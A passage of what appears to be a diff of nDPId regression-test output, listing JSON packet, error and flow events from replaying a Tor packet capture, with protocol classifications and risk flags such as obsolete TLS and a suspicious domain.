type","datalink":1,"packet_id":2775,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822218212163} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2775,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822218202168,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00642{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2800,"source":"tor.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":2,"flow_src_last_pkt_time":1383822218758583,"flow_dst_last_pkt_time":1383822217531372,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":151,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":151,"pkt_l4_len":97,"thread_ts_usec":1383822218758583,"pkt":"MzMAAQACUlQAWul3ht1gAAAAAGERAf6AAAAAAAAAxYMZclcocyP\/AgAAAAAAAAAAAAAAAQACAiICIwBhDB8BZjPcAAgAAgBkAAEADgABAAEXdNYHUlQAoBS4AAMADA5SVAAAAAAAAAAAAAAnAAsACUVuZGlhbi1QQwAQAA4AAAE3AAhNU0ZUIDUuMAAGAAgAGAAXABEAJw=="} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2854,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822220212053} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2854,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822220042872,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00642{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2863,"source":"tor.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":3,"flow_src_last_pkt_time":1383822220774203,"flow_dst_last_pkt_time":1383822217531372,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":151,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":151,"pkt_l4_len":97,"thread_ts_usec":1383822220774203,"pkt":"MzMAAQACUlQAWul3ht1gAAAAAGERAf6AAAAAAAAAxYMZclcocyP\/AgAAAAAAAAAAAAAAAQACAiICIwBhC1cBZjPcAAgAAgEsAAEADgABAAEXdNYHUlQAoBS4AAMADA5SVAAAAAAAAAAAAAAnAAsACUVuZGlhbi1QQwAQAA4AAAE3AAhNU0ZUIDUuMAAGAAgAGAAXABEAJw=="} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2882,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822222212047} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2882,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822222154911,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2936,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822224212144} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2936,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822224128155,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2965,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822226212245} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2965,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822226175794,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2976,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822228212061} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2976,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822227885519,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":2988,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822230212115} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":2988,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822230193510,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00907{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":2989,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"finished","flow_src_packets_processed":8,"flow_dst_packets_processed":0,"flow_first_seen":1383821673254958,"flow_src_last_pkt_time":1383822214039100,"flow_dst_last_pkt_time":1383821673254958,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":144,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":144,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1152,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822230193510,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Dropbox","proto_id":"121","encrypted":0,"breed":"Acceptable","category_id":13,"category":"Cloud"}} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3004,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822232211971} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3004,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822232017966,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3018,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822234211967} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3018,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822233939561,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3036,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822236212113} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3036,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822236183519,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3128,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822238212085} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3128,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822238164193,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3234,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822240212033} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3234,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822240198709,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3430,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822242212027} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3430,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822242141710,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3494,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822244212056} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3494,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822244182894,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3654,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822246212005} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3654,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822246194755,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3712,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822248212313} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3712,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822248153481,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3717,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822250211939} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3717,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822248944702,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3718,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822252211970} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3718,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822248944702,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3735,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822254212017} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3735,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822254127255,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3752,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822256211970} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3752,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822255869946,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3810,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822258212011} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3810,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822257040376,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3821,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822260212069} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3821,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822259716940,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00565{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":3822,"source":"tor.pcap","alias":"nDPId-test","packets-captured":3822,"packets-processed":3664,"total-skipped-flows":0,"total-l4-payload-len":2806614,"total-not-detected-flows":0,"total-guessed-flows":1,"total-detected-flows":10,"total-detection-updates":7,"total-updates":5,"current-active-flows":6,"total-active-flows":11,"total-idle-flows":5,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":342,"global_ts_usec":1383822260228953} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3826,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822262211943} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3826,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822262143775,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3833,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822264211946} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3833,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822264155073,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} +00565{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":3822,"source":"tor.pcap","alias":"nDPId-test","packets-captured":3822,"packets-processed":3664,"total-skipped-flows":0,"total-l4-payload-len":2806614,"total-not-detected-flows":0,"total-guessed-flows":1,"total-detected-flows":10,"total-detection-updates":7,"total-updates":5,"current-active-flows":6,"total-active-flows":11,"total-idle-flows":5,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":140,"global_ts_usec":1383822260228953} 02272{"flow_event_id":5,"flow_event_name":"analyse","thread_id":0,"packet_id":3845,"source":"tor.pcap","alias":"nDPId-test","flow_id":7,"flow_state":"finished","flow_src_packets_processed":16,"flow_dst_packets_processed":16,"flow_first_seen":1383822129889928,"flow_src_last_pkt_time":1383822265160118,"flow_dst_last_pkt_time":1383822265159585,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":586,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":2761,"flow_dst_tot_l4_payload_len":5864,"midstream":0,"thread_ts_usec":1383822265160118,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"212.83.155.250","src_port":51174,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"data_analysis": {"iat": {"min":319,"avg":8727092.0,"max":72890007,"stddev":22568808.0,"var":509351076823040.0,"ent":2.1,"data": [59390,61607,13819,72120,2062,62909,63545,60042,79423,319,78805,1749,98338,96626,56518,4501,61844,64873,64036,73717,275721,252847,50798,9733,261423,61538274,61491411,72591366,72890007,3990,98034]},"pktlen": {"min":40,"avg":312.0,"max":1500,"stddev":345.9,"var":119666.8,"ent":4.2,"data": [52,52,46,249,40,783,174,99,114,1500,126,46,626,40,626,40,626,626,626,626,626,46,626,52,626,46,626,46,46,40,40,46]},"bins": {"c_to_s": [9,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"s_to_c": [6,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0]},"directions": [0,1,0,0,1,1,0,1,0,1,1,0,0,1,0,1,1,0,1,0,1,0,1,0,1,0,1,0,0,1,1,0],"entropies": [4.501619816,4.930902481,4.441508770,5.332808495,4.834183693,7.397306919,6.658778667,6.048449516,6.157279968,7.876633167,6.546604156,4.441508770,7.673907757,4.834183693,7.638509750,4.884183884,7.663495541,7.670399189,7.645442486,7.664111614,7.640780926,4.484987259,7.650365353,4.880648136,7.645416737,4.544876099,7.673004150,4.457919598,4.457919598,4.734183788,4.734183788,4.501397610]},"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}}},"confidence": {"6":"DPI"},"proto":"TLS","proto_id":"91","encrypted":1,"breed":"Safe","category_id":5,"category":"Web"}} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3853,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822266211911} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3853,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822265221448,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3854,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822268211949} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3854,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822265221448,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3855,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822270212244} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3855,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822265221448,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3856,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822272211953} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3856,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822265221448,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 00912{"flow_event_id":4,"flow_event_name":"update","thread_id":0,"packet_id":3857,"source":"tor.pcap","alias":"nDPId-test","flow_id":11,"flow_state":"finished","flow_src_packets_processed":6,"flow_dst_packets_processed":0,"flow_first_seen":1383822217531372,"flow_src_last_pkt_time":1383822248944702,"flow_dst_last_pkt_time":1383822217531372,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":89,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":89,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":534,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822265221448,"l3_proto":"ip6","src_ip":"fe80::c583:1972:5728:7323","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"DHCPV6","proto_id":"103","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3858,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822274212080} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3858,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822274144364,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} -00183{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":3859,"source":"tor.pcap","alias":"nDPId-test","layer_type":38,"global_ts_usec":1383822276211998} -00349{"packet_event_id":1,"packet_event_name":"packet","packet_id":3859,"source":"tor.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"thread_ts_usec":1383822274144364,"pkt":"AYDCAAAA\/lQA2EYhACZCQgMAAAAAAIAAUlQAwqwfAAAAAIAAUlQAwqwfgAMAABQAAgAAAAAAAAAAAAAA"} 01273{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3859,"source":"tor.pcap","alias":"nDPId-test","flow_id":8,"flow_state":"finished","flow_src_packets_processed":17,"flow_dst_packets_processed":21,"flow_first_seen":1383822129897135,"flow_src_last_pkt_time":1383822265221448,"flow_dst_last_pkt_time":1383822265220844,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":586,"flow_dst_max_l4_payload_len":1460,"flow_src_tot_l4_payload_len":4523,"flow_dst_tot_l4_payload_len":5885,"midstream":0,"thread_ts_usec":1383822274144364,"l3_proto":"ip4","src_ip":"192.168.1.252","dst_ip":"91.143.93.242","src_port":51175,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"flow_risk": {"7": {"risk":"Obsolete TLS (v1.1 or older)","severity":"High","risk_score": {"total":510,"client":455,"server":55}},"16": {"risk":"Suspicious DGA Domain name","severity":"High","risk_score": {"total":250,"client":125,"server":125}},"22": {"risk":"Unsafe Protocol","severity":"Low","risk_score": {"total":750,"client":575,"server":175}}},"confidence": {"6":"DPI"},"proto":"TLS.Tor","proto_id":"91.163","encrypted":1,"breed":"Potentially Dangerous","category_id":2,"category":"VPN"}} 00906{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":3859,"source":"tor.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"finished","flow_src_packets_processed":10,"flow_dst_packets_processed":0,"flow_first_seen":1383821673254958,"flow_src_last_pkt_time":1383822274144364,"flow_dst_last_pkt_time":1383821673254958,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":144,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":144,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1440,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822274144364,"l3_proto":"ip4","src_ip":"192.168.1.1","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Dropbox","proto_id":"121","encrypted":0,"breed":"Acceptable","category_id":13,"category":"Cloud"}} 00910{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":3859,"source":"tor.pcap","alias":"nDPId-test","flow_id":11,"flow_state":"finished","flow_src_packets_processed":6,"flow_dst_packets_processed":0,"flow_first_seen":1383822217531372,"flow_src_last_pkt_time":1383822248944702,"flow_dst_last_pkt_time":1383822217531372,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":89,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":89,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":534,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1383822274144364,"l3_proto":"ip6","src_ip":"fe80::c583:1972:5728:7323","dst_ip":"ff02::1:2","src_port":546,"dst_port":547,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": 